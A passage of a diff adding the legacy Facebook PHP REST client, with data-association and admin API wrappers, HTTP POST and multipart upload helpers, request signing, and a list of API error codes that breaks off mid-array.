+   * @param  assoc_type  1: one-way 2: two-way symmetric 3: two-way asymmetric
+   * @param  assoc_info1 needed info about first object type
+   * @param  assoc_info2 needed info about second object type
+   * @param  inverse     (optional) name of reverse association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_defineAssociation($name, $assoc_type, $assoc_info1,
+                                         $assoc_info2, $inverse = null) {
+    return $this->call_method('facebook.data.defineAssociation',
+       array('name' => $name,
+             'assoc_type' => $assoc_type,
+             'assoc_info1' => json_encode($assoc_info1),
+             'assoc_info2' => json_encode($assoc_info2),
+             'inverse' => $inverse));
+  }
+
+  /**
+   * Undefine an object association.
+   *
+   * @param  name        name of this association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_undefineAssociation($name) {
+    return $this->call_method('facebook.data.undefineAssociation',
+       array('name' => $name));
+  }
+
+  /**
+   * Rename an object association or aliases.
+   *
+   * @param  name        name of this association
+   * @param  new_name    (optional) new name of this association
+   * @param  new_alias1  (optional) new alias for object type 1
+   * @param  new_alias2  (optional) new alias for object type 2
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_renameAssociation($name, $new_name, $new_alias1 = null,
+                                         $new_alias2 = null) {
+    return $this->call_method('facebook.data.renameAssociation',
+       array('name' => $name,
+             'new_name' => $new_name,
+             'new_alias1' => $new_alias1,
+             'new_alias2' => $new_alias2));
+  }
+
+  /**
+   * Get definition of an object association.
+   *
+   * @param  name        name of this association
+   * @return             specified association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociationDefinition($name) {
+    return $this->call_method('facebook.data.getAssociationDefinition',
+       array('name' => $name));
+  }
+
+  /**
+   * Get definition of all associations.
+   *
+   * @return             all defined associations
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociationDefinitions() {
+    return $this->call_method('facebook.data.getAssociationDefinitions',
+       array());
+  }
+
+  /**
+   * Create or modify an association between two objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @param  data        (optional) extra string data to store
+   * @param  assoc_time  (optional) extra time data; default to creation time
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setAssociation($name, $obj_id1, $obj_id2, $data = null,
+                                      $assoc_time = null) {
+    return $this->call_method('facebook.data.setAssociation',
+       array('name' => $name,
+             'obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2,
+             'data' => $data,
+             'assoc_time' => $assoc_time));
+  }
+
+  /**
+   * Create or modify associations between objects.
+   *
+   * @param  assocs      associations to set
+   * @param  name        (optional) name of association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setAssociations($assocs, $name = null) {
+    return $this->call_method('facebook.data.setAssociations',
+       array('assocs' => json_encode($assocs),
+             'name' => $name));
+  }
+
+  /**
+   * Remove an association between two objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeAssociation($name, $obj_id1, $obj_id2) {
+    return $this->call_method('facebook.data.removeAssociation',
+       array('name' => $name,
+             'obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2));
+  }
+
+  /**
+   * Remove associations between objects by specifying pairs of object ids.
+   *
+   * @param  assocs      associations to remove
+   * @param  name        (optional) name of association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeAssociations($assocs, $name = null) {
+    return $this->call_method('facebook.data.removeAssociations',
+       array('assocs' => json_encode($assocs),
+             'name' => $name));
+  }
+
+  /**
+   * Remove associations between objects by specifying one object id.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to remove
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeAssociatedObjects($name, $obj_id) {
+    return $this->call_method('facebook.data.removeAssociatedObjects',
+       array('name' => $name,
+             'obj_id' => $obj_id));
+  }
+
+  /**
+   * Retrieve a list of associated objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to retrieve
+   * @param  no_data     only return object ids
+   * @return             associated objects
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociatedObjects($name, $obj_id, $no_data = true) {
+    return $this->call_method('facebook.data.getAssociatedObjects',
+       array('name' => $name,
+             'obj_id' => $obj_id,
+             'no_data' => $no_data));
+  }
+
+  /**
+   * Count associated objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to retrieve
+   * @return             associated object's count
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociatedObjectCount($name, $obj_id) {
+    return $this->call_method('facebook.data.getAssociatedObjectCount',
+       array('name' => $name,
+             'obj_id' => $obj_id));
+  }
+
+  /**
+   * Get a list of associated object counts.
+   *
+   * @param  name        name of association
+   * @param  obj_ids     whose association to retrieve
+   * @return             associated object counts
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociatedObjectCounts($name, $obj_ids) {
+    return $this->call_method('facebook.data.getAssociatedObjectCounts',
+       array('name' => $name,
+             'obj_ids' => json_encode($obj_ids)));
+  }
+
+  /**
+   * Find all associations between two objects.
+   *
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @param  no_data     only return association names without data
+   * @return             all associations between objects
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociations($obj_id1, $obj_id2, $no_data = true) {
+    return $this->call_method('facebook.data.getAssociations',
+       array('obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2,
+             'no_data' => $no_data));
+  }
+
+  /**
+   * Get the properties that you have set for an app.
+   *
+   * @param properties  List of properties names to fetch
+   *
+   * @return array  A map from property name to value
+   */
+  public function admin_getAppProperties($properties) {
+    return json_decode(
+        $this->call_method('facebook.admin.getAppProperties',
+            array('properties' => json_encode($properties))), true);
+  }
+
+  /**
+   * Set properties for an app.
+   *
+   * @param properties  A map from property names to values
+   *
+   * @return bool  true on success
+   */
+  public function admin_setAppProperties($properties) {
+    return $this->call_method('facebook.admin.setAppProperties',
+       array('properties' => json_encode($properties)));
+  }
+
+  /**
+   * Returns the allocation limit value for a specified integration point name
+   * Integration point names are defined in lib/api/karma/constants.php in the
+   * limit_map.
+   *
+   * @param string $integration_point_name  Name of an integration point
+   *                                        (see developer wiki for list).
+   *
+   * @return int  Integration point allocation value
+   */
+  public function &admin_getAllocation($integration_point_name) {
+    return $this->call_method('facebook.admin.getAllocation',
+        array('integration_point_name' => $integration_point_name));
+  }
+
+  /**
+   * Returns values for the specified metrics for the current application, in
+   * the given time range.  The metrics are collected for fixed-length periods,
+   * and the times represent midnight at the end of each period.
+   *
+   * @param start_time  unix time for the start of the range
+   * @param end_time    unix time for the end of the range
+   * @param period      number of seconds in the desired period
+   * @param metrics     list of metrics to look up
+   *
+   * @return array  A map of the names and values for those metrics
+   */
+  public function &admin_getMetrics($start_time, $end_time, $period, $metrics) {
+    return $this->call_method('admin.getMetrics',
+        array('start_time' => $start_time,
+              'end_time' => $end_time,
+              'period' => $period,
+              'metrics' => json_encode($metrics)));
+  }
+
+  /**
+   * Sets application restriction info.
+   *
+   * Applications can restrict themselves to only a limited user demographic
+   * based on users' age and/or location or based on static predefined types
+   * specified by facebook for specifying diff age restriction for diff
+   * locations.
+   *
+   * @param array $restriction_info  The age restriction settings to set.
+   *
+   * @return bool  true on success
+   */
+  public function admin_setRestrictionInfo($restriction_info = null) {
+    $restriction_str = null;
+    if (!empty($restriction_info)) {
+      $restriction_str = json_encode($restriction_info);
+    }
+    return $this->call_method('admin.setRestrictionInfo',
+        array('restriction_str' => $restriction_str));
+  }
+
+  /**
+   * Gets application restriction info.
+   *
+   * Applications can restrict themselves to only a limited user demographic
+   * based on users' age and/or location or based on static predefined types
+   * specified by facebook for specifying diff age restriction for diff
+   * locations.
+   *
+   * @return array  The age restriction settings for this application.
+   */
+  public function admin_getRestrictionInfo() {
+    return json_decode(
+        $this->call_method('admin.getRestrictionInfo'),
+        true);
+  }
+
+  /* UTILITY FUNCTIONS */
+
+  /**
+   * Calls the specified normal POST method with the specified parameters.
+   *
+   * @param string $method  Name of the Facebook method to invoke
+   * @param array $params   A map of param names => param values
+   *
+   * @return mixed  Result of method call; this returns a reference to support
+   *                'delayed returns' when in a batch context.
+   *     See: http://wiki.developers.facebook.com/index.php/Using_batching_API
+   */
+  public function &call_method($method, $params = array()) {
+    //Check if we are in batch mode
+    if($this->batch_queue === null) {
+      if ($this->call_as_apikey) {
+        $params['call_as_apikey'] = $this->call_as_apikey;
+      }
+      $data = $this->post_request($method, $params);
+      if (empty($params['format']) || strtolower($params['format']) != 'json') {
+        $result = $this->convert_xml_to_result($data, $method, $params);
+      }
+      else {
+        $result = json_decode($data, true);
+      }
+
+      if (is_array($result) && isset($result['error_code'])) {
+        throw new FacebookRestClientException($result['error_msg'],
+                                              $result['error_code']);
+      }
+    }
+    else {
+      $result = null;
+      $batch_item = array('m' => $method, 'p' => $params, 'r' => & $result);
+      $this->batch_queue[] = $batch_item;
+    }
+
+    return $result;
+  }
+
+  /**
+   * Calls the specified file-upload POST method with the specified parameters
+   *
+   * @param string $method Name of the Facebook method to invoke
+   * @param array  $params A map of param names => param values
+   * @param string $file   A path to the file to upload (required)
+   *
+   * @return array A dictionary representing the response.
+   */
+  public function call_upload_method($method, $params, $file, $server_addr = null) {
+    if ($this->batch_queue === null) {
+      if (!file_exists($file)) {
+        $code =
+          FacebookAPIErrorCodes::API_EC_PARAM;
+        $description = FacebookAPIErrorCodes::$api_error_descriptions[$code];
+        throw new FacebookRestClientException($description, $code);
+      }
+
+      $xml = $this->post_upload_request($method, $params, $file, $server_addr);
+      $result = $this->convert_xml_to_result($xml, $method, $params);
+
+      if (is_array($result) && isset($result['error_code'])) {
+        throw new FacebookRestClientException($result['error_msg'],
+                                              $result['error_code']);
+      }
+    }
+    else {
+      $code =
+        FacebookAPIErrorCodes::API_EC_BATCH_METHOD_NOT_ALLOWED_IN_BATCH_MODE;
+      $description = FacebookAPIErrorCodes::$api_error_descriptions[$code];
+      throw new FacebookRestClientException($description, $code);
+    }
+
+    return $result;
+  }
+
+  private function convert_xml_to_result($xml, $method, $params) {
+    $sxml = simplexml_load_string($xml);
+    $result = self::convert_simplexml_to_array($sxml);
+
+    if (!empty($GLOBALS['facebook_config']['debug'])) {
+      // output the raw xml and its corresponding php object, for debugging:
+      print '<div style="margin: 10px 30px; padding: 5px; border: 2px solid black; background: gray; color: white; font-size: 12px; font-weight: bold;">';
+      $this->cur_id++;
+      print $this->cur_id . ': Called ' . $method . ', show ' .
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'params\');">Params</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'xml\');">XML</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'sxml\');">SXML</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'php\');">PHP</a>';
+      print '<pre id="params'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($params, true).'</pre>';
+      print '<pre id="xml'.$this->cur_id.'" style="display: none; overflow: auto;">'.htmlspecialchars($xml).'</pre>';
+      print '<pre id="php'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($result, true).'</pre>';
+      print '<pre id="sxml'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($sxml, true).'</pre>';
+      print '</div>';
+    }
+    return $result;
+  }
+
+  private function finalize_params($method, &$params) {
+    $this->add_standard_params($method, $params);
+    // we need to do this before signing the params
+    $this->convert_array_values_to_csv($params);
+    $params['sig'] = Facebook::generate_sig($params, $this->secret);
+  }
+
+  private function convert_array_values_to_csv(&$params) {
+    foreach ($params as $key => &$val) {
+      if (is_array($val)) {
+        $val = implode(',', $val);
+      }
+    }
+  }
+
+  private function add_standard_params($method, &$params) {
+    if ($this->call_as_apikey) {
+      $params['call_as_apikey'] = $this->call_as_apikey;
+    }
+    $params['method'] = $method;
+    $params['session_key'] = $this->session_key;
+    $params['api_key'] = $this->api_key;
+    $params['call_id'] = microtime(true);
+    if ($params['call_id'] <= $this->last_call_id) {
+      $params['call_id'] = $this->last_call_id + 0.001;
+    }
+    $this->last_call_id = $params['call_id'];
+    if (!isset($params['v'])) {
+      $params['v'] = '1.0';
+    }
+    if (isset($this->use_ssl_resources) &&
+        $this->use_ssl_resources) {
+      $params['return_ssl_resources'] = true;
+    }
+  }
+
+  private function create_post_string($method, $params) {
+    $post_params = array();
+    foreach ($params as $key => &$val) {
+      $post_params[] = $key.'='.urlencode($val);
+    }
+    return implode('&', $post_params);
+  }
+
+  private function run_multipart_http_transaction($method, $params, $file, $server_addr) {
+
+    // the format of this message is specified in RFC1867/RFC1341.
+    // we add twenty pseudo-random digits to the end of the boundary string.
+    $boundary = '--------------------------FbMuLtIpArT' .
+                sprintf("%010d", mt_rand()) .
+                sprintf("%010d", mt_rand());
+    $content_type = 'multipart/form-data; boundary=' . $boundary;
+    // within the message, we prepend two extra hyphens.
+    $delimiter = '--' . $boundary;
+    $close_delimiter = $delimiter . '--';
+    $content_lines = array();
+    foreach ($params as $key => &$val) {
+      $content_lines[] = $delimiter;
+      $content_lines[] = 'Content-Disposition: form-data; name="' . $key . '"';
+      $content_lines[] = '';
+      $content_lines[] = $val;
+    }
+    // now add the file data
+    $content_lines[] = $delimiter;
+    $content_lines[] =
+      'Content-Disposition: form-data; filename="' . $file . '"';
+    $content_lines[] = 'Content-Type: application/octet-stream';
+    $content_lines[] = '';
+    $content_lines[] = file_get_contents($file);
+    $content_lines[] = $close_delimiter;
+    $content_lines[] = '';
+    $content = implode("\r\n", $content_lines);
+    return $this->run_http_post_transaction($content_type, $content, $server_addr);
+  }
+
+  public function post_request($method, $params) {
+    $this->finalize_params($method, $params);
+    $post_string = $this->create_post_string($method, $params);
+    if ($this->use_curl_if_available && function_exists('curl_init')) {
+      $useragent = 'Facebook API PHP5 Client 1.1 (curl) ' . phpversion();
+      $ch = curl_init();
+      curl_setopt($ch, CURLOPT_URL, $this->server_addr);
+      curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
+      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+      curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
+      $result = curl_exec($ch);
+      curl_close($ch);
+    } else {
+      $content_type = 'application/x-www-form-urlencoded';
+      $content = $post_string;
+      $result = $this->run_http_post_transaction($content_type,
+                                                 $content,
+                                                 $this->server_addr);
+    }
+    return $result;
+  }
+
+  private function post_upload_request($method, $params, $file, $server_addr = null) {
+    $server_addr = $server_addr ? $server_addr : $this->server_addr;
+    $this->finalize_params($method, $params);
+    if ($this->use_curl_if_available && function_exists('curl_init')) {
+      // prepending '@' causes cURL to upload the file; the key is ignored.
+      $params['_file'] = '@' . $file;
+      $useragent = 'Facebook API PHP5 Client 1.1 (curl) ' . phpversion();
+      $ch = curl_init();
+      curl_setopt($ch, CURLOPT_URL, $server_addr);
+      // this has to come before the POSTFIELDS set!
+      curl_setopt($ch, CURLOPT_POST, 1 );
+      // passing an array gets curl to use the multipart/form-data content type
+      curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
+      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+      curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
+      $result = curl_exec($ch);
+      curl_close($ch);
+    } else {
+      $result = $this->run_multipart_http_transaction($method, $params, $file, $server_addr);
+    }
+    return $result;
+  }
+
+  private function run_http_post_transaction($content_type, $content, $server_addr) {
+
+    $user_agent = 'Facebook API PHP5 Client 1.1 (non-curl) ' . phpversion();
+    $content_length = strlen($content);
+    $context =
+      array('http' =>
+              array('method' => 'POST',
+                    'user_agent' => $user_agent,
+                    'header' => 'Content-Type: ' . $content_type . "\r\n" .
+                                'Content-Length: ' . $content_length,
+                    'content' => $content));
+    $context_id = stream_context_create($context);
+    $sock = fopen($server_addr, 'r', false, $context_id);
+
+    $result = '';
+    if ($sock) {
+      while (!feof($sock)) {
+        $result .= fgets($sock, 4096);
+      }
+      fclose($sock);
+    }
+    return $result;
+  }
+
+  public static function convert_simplexml_to_array($sxml) {
+    $arr = array();
+    if ($sxml) {
+      foreach ($sxml as $k => $v) {
+        if ($sxml['list']) {
+          $arr[] = self::convert_simplexml_to_array($v);
+        } else {
+          $arr[$k] = self::convert_simplexml_to_array($v);
+        }
+      }
+    }
+    if (sizeof($arr) > 0) {
+      return $arr;
+    } else {
+      return (string)$sxml;
+    }
+  }
+
+  private function get_uid($uid) {
+    return $uid ? $uid : $this->user;
+  }
+}
+
+
+class FacebookRestClientException extends Exception {
+}
+
+// Supporting methods and values------
+
+/**
+ * Error codes and descriptions for the Facebook API.
+ */
+
+class FacebookAPIErrorCodes {
+
+  const API_EC_SUCCESS = 0;
+
+  /*
+   * GENERAL ERRORS
+   */
+  const API_EC_UNKNOWN = 1;
+  const API_EC_SERVICE = 2;
+  const API_EC_METHOD = 3;
+  const API_EC_TOO_MANY_CALLS = 4;
+  const API_EC_BAD_IP = 5;
+  const API_EC_HOST_API = 6;
+  const API_EC_HOST_UP = 7;
+  const API_EC_SECURE = 8;
+  const API_EC_RATE = 9;
+  const API_EC_PERMISSION_DENIED = 10;
+  const API_EC_DEPRECATED = 11;
+  const API_EC_VERSION = 12;
+
+  /*
+   * PARAMETER ERRORS
+   */
+  const API_EC_PARAM = 100;
+  const API_EC_PARAM_API_KEY = 101;
+  const API_EC_PARAM_SESSION_KEY = 102;
+  const API_EC_PARAM_CALL_ID = 103;
+  const API_EC_PARAM_SIGNATURE = 104;
+  const API_EC_PARAM_TOO_MANY = 105;
+  const API_EC_PARAM_USER_ID = 110;
+  const API_EC_PARAM_USER_FIELD = 111;
+  const API_EC_PARAM_SOCIAL_FIELD = 112;
+  const API_EC_PARAM_EMAIL = 113;
+  const API_EC_PARAM_USER_ID_LIST = 114;
+  const API_EC_PARAM_ALBUM_ID = 120;
+  const API_EC_PARAM_PHOTO_ID = 121;
+  const API_EC_PARAM_FEED_PRIORITY = 130;
+  const API_EC_PARAM_CATEGORY = 140;
+  const API_EC_PARAM_SUBCATEGORY = 141;
+  const API_EC_PARAM_TITLE = 142;
+  const API_EC_PARAM_DESCRIPTION = 143;
+  const API_EC_PARAM_BAD_JSON = 144;
+  const API_EC_PARAM_BAD_EID = 150;
+  const API_EC_PARAM_UNKNOWN_CITY = 151;
+  const API_EC_PARAM_BAD_PAGE_TYPE = 152;
+
+  /*
+   * USER PERMISSIONS ERRORS
+   */
+  const API_EC_PERMISSION = 200;
+  const API_EC_PERMISSION_USER = 210;
+  const API_EC_PERMISSION_ALBUM = 220;
+  const API_EC_PERMISSION_PHOTO = 221;
+  const API_EC_PERMISSION_MESSAGE = 230;
+  const API_EC_PERMISSION_OTHER_USER = 240;
+  const API_EC_PERMISSION_STATUS_UPDATE = 250;
+  const API_EC_PERMISSION_PHOTO_UPLOAD = 260;
+  const API_EC_PERMISSION_VIDEO_UPLOAD = 261;
+  const API_EC_PERMISSION_SMS = 270;
+  const API_EC_PERMISSION_CREATE_LISTING = 280;
+  const API_EC_PERMISSION_CREATE_NOTE = 281;
+  const API_EC_PERMISSION_SHARE_ITEM = 282;
+  const API_EC_PERMISSION_EVENT = 290;
+  const API_EC_PERMISSION_LARGE_FBML_TEMPLATE = 291;
+  const API_EC_PERMISSION_LIVEMESSAGE = 292;
+  const API_EC_PERMISSION_RSVP_EVENT = 299;
+
+  /*
+   * DATA EDIT ERRORS
+   */
+  const API_EC_EDIT = 300;
+  const API_EC_EDIT_USER_DATA = 310;
+  const API_EC_EDIT_PHOTO = 320;
+  const API_EC_EDIT_ALBUM_SIZE = 321;
+  const API_EC_EDIT_PHOTO_TAG_SUBJECT = 322;
+  const API_EC_EDIT_PHOTO_TAG_PHOTO = 323;
+  const API_EC_EDIT_PHOTO_FILE = 324;
+  const API_EC_EDIT_PHOTO_PENDING_LIMIT = 325;
+  const API_EC_EDIT_PHOTO_TAG_LIMIT = 326;
+  const API_EC_EDIT_ALBUM_REORDER_PHOTO_NOT_IN_ALBUM = 327;
+  const API_EC_EDIT_ALBUM_REORDER_TOO_FEW_PHOTOS = 328;
+
+  const API_EC_MALFORMED_MARKUP = 329;
+  const API_EC_EDIT_MARKUP = 330;
+
+  const API_EC_EDIT_FEED_TOO_MANY_USER_CALLS = 340;
+  const API_EC_EDIT_FEED_TOO_MANY_USER_ACTION_CALLS = 341;
+  const API_EC_EDIT_FEED_TITLE_LINK = 342;
+  const API_EC_EDIT_FEED_TITLE_LENGTH = 343;
+  const API_EC_EDIT_FEED_TITLE_NAME = 344;
+  const API_EC_EDIT_FEED_TITLE_BLANK = 345;
+  const API_EC_EDIT_FEED_BODY_LENGTH = 346;
+  const API_EC_EDIT_FEED_PHOTO_SRC = 347;
+  const API_EC_EDIT_FEED_PHOTO_LINK = 348;
+
+  const API_EC_EDIT_VIDEO_SIZE = 350;
+  const API_EC_EDIT_VIDEO_INVALID_FILE = 351;
+  const API_EC_EDIT_VIDEO_INVALID_TYPE = 352;
+  const API_EC_EDIT_VIDEO_FILE = 353;
+
+  const API_EC_EDIT_FEED_TITLE_ARRAY = 360;
+  const API_EC_EDIT_FEED_TITLE_PARAMS = 361;
+  const API_EC_EDIT_FEED_BODY_ARRAY = 362;
+  const API_EC_EDIT_FEED_BODY_PARAMS = 363;
+  const API_EC_EDIT_FEED_PHOTO = 364;
+  const API_EC_EDIT_FEED_TEMPLATE = 365;
+  const API_EC_EDIT_FEED_TARGET = 366;
+  const API_EC_EDIT_FEED_MARKUP = 367;
+
+  /**
+   * SESSION ERRORS
+   */
+  const API_EC_SESSION_TIMED_OUT = 450;
+  const API_EC_SESSION_METHOD = 451;
+  const API_EC_SESSION_INVALID = 452;
+  const API_EC_SESSION_REQUIRED = 453;
+  const API_EC_SESSION_REQUIRED_FOR_SECRET = 454;
+  const API_EC_SESSION_CANNOT_USE_SESSION_SECRET = 455;
+
+
+  /**
+   * FQL ERRORS
+   */
+  const FQL_EC_UNKNOWN_ERROR = 600;
+  const FQL_EC_PARSER = 601; // backwards compatibility
+  const FQL_EC_PARSER_ERROR = 601;
+  const FQL_EC_UNKNOWN_FIELD = 602;
+  const FQL_EC_UNKNOWN_TABLE = 603;
+  const FQL_EC_NOT_INDEXABLE = 604; // backwards compatibility
+  const FQL_EC_NO_INDEX = 604;
+  const FQL_EC_UNKNOWN_FUNCTION = 605;
+  const FQL_EC_INVALID_PARAM = 606;
+  const FQL_EC_INVALID_FIELD = 607;
+  const FQL_EC_INVALID_SESSION = 608;
+  const FQL_EC_UNSUPPORTED_APP_TYPE = 609;
+  const FQL_EC_SESSION_SECRET_NOT_ALLOWED = 610;
+
+  const API_EC_REF_SET_FAILED = 700;
+
+  /**
+   * DATA STORE API ERRORS
+   */
+  const API_EC_DATA_UNKNOWN_ERROR = 800;
+  const API_EC_DATA_INVALID_OPERATION = 801;
+  const API_EC_DATA_QUOTA_EXCEEDED = 802;
+  const API_EC_DATA_OBJECT_NOT_FOUND = 803;
+  const API_EC_DATA_OBJECT_ALREADY_EXISTS = 804;
+  const API_EC_DATA_DATABASE_ERROR = 805;
+  const API_EC_DATA_CREATE_TEMPLATE_ERROR = 806;
+  const API_EC_DATA_TEMPLATE_EXISTS_ERROR = 807;
+  const API_EC_DATA_TEMPLATE_HANDLE_TOO_LONG = 808;
+  const API_EC_DATA_TEMPLATE_HANDLE_ALREADY_IN_USE = 809;
+  const API_EC_DATA_TOO_MANY_TEMPLATE_BUNDLES = 810;
+  const API_EC_DATA_MALFORMED_ACTION_LINK = 811;
+  const API_EC_DATA_TEMPLATE_USES_RESERVED_TOKEN = 812;
+
+  /*
+   * APPLICATION INFO ERRORS
+   */
+  const API_EC_NO_SUCH_APP = 900;
+
+  /*
+   * BATCH ERRORS
+   */
+  const API_EC_BATCH_TOO_MANY_ITEMS = 950;
+  const API_EC_BATCH_ALREADY_STARTED = 951;
+  const API_EC_BATCH_NOT_STARTED = 952;
+  const API_EC_BATCH_METHOD_NOT_ALLOWED_IN_BATCH_MODE = 953;
+
+  /*
+   * EVENT API ERRORS
+   */
+  const API_EC_EVENT_INVALID_TIME = 1000;
+
+  /*
+   * INFO BOX ERRORS
+   */
+  const API_EC_INFO_NO_INFORMATION = 1050;
+  const API_EC_INFO_SET_FAILED = 1051;
+
+  /*
+   * LIVEMESSAGE API ERRORS
+   */
+  const API_EC_LIVEMESSAGE_SEND_FAILED = 1100;
+  const API_EC_LIVEMESSAGE_EVENT_NAME_TOO_LONG = 1101;
+  const API_EC_LIVEMESSAGE_MESSAGE_TOO_LONG = 1102;
+
+  /*
+   * CONNECT SESSION ERRORS
+   */
+  const API_EC_CONNECT_FEED_DISABLED = 1300;
+
+  /*
+   * Platform tag bundles errors
+   */
+  const API_EC_TAG_BUNDLE_QUOTA = 1400;
+
+  /*
+   * SHARE
+   */
+  const API_EC_SHARE_BAD_URL = 1500;
+
+  /*
+   * NOTES
+   */
+  const API_EC_NOTE_CANNOT_MODIFY = 1600;
+
+  /*
+   * COMMENTS
+   */
+  const API_EC_COMMENTS_UNKNOWN = 1700;
+  const API_EC_COMMENTS_POST_TOO_LONG = 1701;
+  const API_EC_COMMENTS_DB_DOWN = 1702;
+  const API_EC_COMMENTS_INVALID_XID = 1703;
+  const API_EC_COMMENTS_INVALID_UID = 1704;
+  const API_EC_COMMENTS_INVALID_POST = 1705;
+
+  /**
+   * This array is no longer maintained; to view the description of an error
+   * code, please look at the message element of the API response or visit
+   * the developer wiki at http://wiki.developers.facebook.com/.
+   */
+  public static $api_error_descriptions = array(
+      self::API_EC_SUCCESS           => 'Success',
+      self::API_EC_UNKNOWN           => 'An unknown error occurred',
+      self::API_EC_SERVICE           => 'Service temporarily unavailable',
+      self::API_EC_METHOD            => 'Unknown method',
+      self::API_EC_TOO_MANY_CALLS    => 'Application request limit reached',
+      self::API_EC_BAD_IP            => 'Unauthorized source IP address',
+      self::API_EC_PARAM             => 'Invalid parameter',
+      self::API_EC_PARAM_API_KEY     => 'Invalid API key',
+      self::API_EC_PARAM_SESSION_KEY => 'Session key invalid or no longer valid',
+      self::API_EC_PARAM_CALL_ID     => 'Call_id must be greater than previous',
